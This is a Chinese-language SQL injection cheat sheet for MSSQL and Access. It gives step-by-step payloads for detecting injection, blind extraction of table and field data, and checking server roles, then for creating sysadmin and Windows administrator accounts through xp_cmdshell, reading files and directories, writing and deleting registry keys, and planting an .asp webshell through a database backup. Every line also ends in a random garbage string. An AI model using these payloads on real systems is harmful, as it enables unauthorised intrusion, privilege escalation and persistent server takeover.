1.判断是否有注入;and 1=1 ;and 1=2 >" 8j{s
2.初步判断是否是mssql ;and user>0 e:D9;`C
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3.注入参数是字符'and [查询条件] and ''=' e<wj5:M|
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' u5|e9(J
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5.判断数据库系统 !oRm.cO
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;and (select count(*) from sysobjects)>0 mssql .
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;and (select count(*) from msysobjects)>0 access M|]1}8d?
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ="eum7
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 JF=ABJ=
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 I,uu>-
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9.(1)猜字段的ascii值(access) DLM9o3/*J
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 51'SA
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(2)猜字段的ascii值(mssql) _cs9R%
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 QQ8W;x
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10.测试权限结构(mssql) V1U[p3J-S
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- NUtyUv
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- T+"y8#:
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 1/BMs0 =
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- `3n*4Lz
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- SX,zJ`"
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- a][Z;g
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;and 1=(select IS_MEMBER('db_owner'));-- *s4!;2ZhsU
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11.添加mssql和系统的帐户 jYZWf `X~
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;exec master.dbo.sp_addlogin username;-- >u2#<k]1&
;exec master.dbo.sp_password null,username,password;-- @S92D6
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- +yI^<BH
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;exec master.dbo.xp_cmdshell 'net user username password O+J;Hp;\_
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- v[
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ?@(H.
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- hj1jY
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12.(1)遍历目录 qZ}XjL
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;create table dirs(paths varchar(100), id int) .>&fwG
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;insert dirs exec master.dbo.xp_dirtree 'c:\' uoHhp 4>^
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;and (select top 1 paths from dirs)>0 YPEd
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) b2%[9)"I.
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(2)遍历目录 uy{KV"%"^g
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ,&SJ?XAs
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 G#v7-&Yl6
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 S8,06/#
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 <,C})H?
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2ZeL
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13.mssql中的存储过程 uBgHtjmae
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xp_regenumvalues 注册表根键, 子键 ,Pm/ci(s
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ZP<X#]$qb
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xp_regread 根键,子键,键值名 s_TM!LRUcw
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;exec xp_regread TW0^wSm
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 9Ba<'wk/>"
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xp_regwrite 根键,子键, 值名, 值类型, 值 (" %yV_R
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 enj2xye%Y
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xp_regdeletevalue 根键,子键,值名 ez>@'yhK
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 !@X#{
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 yw0uF
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14.mssql的backup创建webshell ^-_!:7TH]
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use model f@mM&e=f
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create table cmd(str image); \ck3y]a[
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insert into cmd(str) values (''); =`U[{3A_
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backup database model to disk='c:\l.asp'; .8m)^ET
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15.mssql内置函数 AUK7a
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;and (select @@version)>0 获得Windows的版本号 )C@,mgh
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 4C:YEX~
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;and (select user_name())>0 爆当前系统的连接用户 ~gc)Ww0(Q
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;and (select db_name())>0 得到当前连接的数据库 oCrn
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16.简洁的webshell v\c3=DbO
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use model `dK\VK^
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create table cmd(str image); WA/\x
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insert into cmd(str) values (''); ^:0?R/A
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backup database model to disk='g:\wwwtest\l.asp';